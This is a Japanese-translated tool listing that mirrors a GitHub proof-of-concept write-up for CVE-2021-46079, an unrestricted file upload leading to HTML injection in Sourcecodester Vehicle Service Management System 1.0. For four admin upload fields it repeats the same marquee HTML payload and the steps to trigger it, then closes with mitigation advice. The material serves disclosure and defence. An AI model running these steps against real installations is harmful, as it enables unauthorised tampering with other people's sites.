ツール / GitHub / sanupl / cve-2021-46079
sanupl/cve-2021-46079 CVE-2021-46079 CVE-2021-46079 - Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者は悪意のあるファイルをアップロードし、HTMLインジェクションを引き起こす可能性があります。
1 1 4ヶ月前コミュニティで最も使われているツールを見つけましょう。
過去7日間 過去30日間
CVE-2021-46079
エクスプロイトタイトル: Vehicle Service Management System - 'Multiple' ファイルアップロードがHTMLインジェクションを引き起こす
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
参照:
説明:
Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者は悪意のあるファイルをアップロードし、HTMLインジェクションを引き起こす可能性があります。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
エクスプロイト:
ペイロード: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
上記のHTMLコードを保存します。例: Html Injection.html
「My Account」セクションで必要な詳細をすべて入力し、アバターでHTMLファイルを参照して選択します。
更新ボタンをクリックします。
新しいタブでアバター画像を開きます。
HTMLインジェクションが実行されます。
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
エクスプロイト:
ペイロード: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
上記のHTMLコードを保存します。例: Html Injection.html
「Create New User」ページで必要な詳細をすべて入力し、アバターでHTMLファイルを参照して選択します。
保存ボタンをクリックします。
新しいタブでアバター画像を開きます。
HTMLインジェクションが実行されます。
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
ペイロード:
ペイロード: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
上記のHTMLコードを保存します。例: Html Injection.html
「Settings」セクションで必要な詳細をすべて入力し、システムロゴでHTMLファイルを参照して選択します。
更新ボタンをクリックします。
新しいタブでシステムロゴの画像を開きます。
HTMLインジェクションが実行されます。
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
エクスプロイト:
ペイロード: <!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
上記のHTMLコードを保存します。例: Html Injection.html
「Settings」セクションで必要な詳細をすべて入力し、ウェブサイトカバーでHTMLファイルを参照して選択します。
更新ボタンをクリックします。
新しいタブでウェブサイトカバーの画像を開きます。
HTMLインジェクションが実行されます。
影響: 攻撃者は複数のエンドポイントで悪意のあるファイルをアップロードでき、これによりHTMLインジェクションが発生します。
緩和策:
ホワイトリストフィルタなしで、ファイル名とその拡張子を直接受け入れないでください。
Unicode文字が必要ない場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け付けることを強くお勧めします。
サービス拒否攻撃を防ぐために、ファイルサイズを最大値に制限してください。
アップロードディレクトリには「実行」権限を付与しないでください。
クライアント側の検証のみに依存しないでください。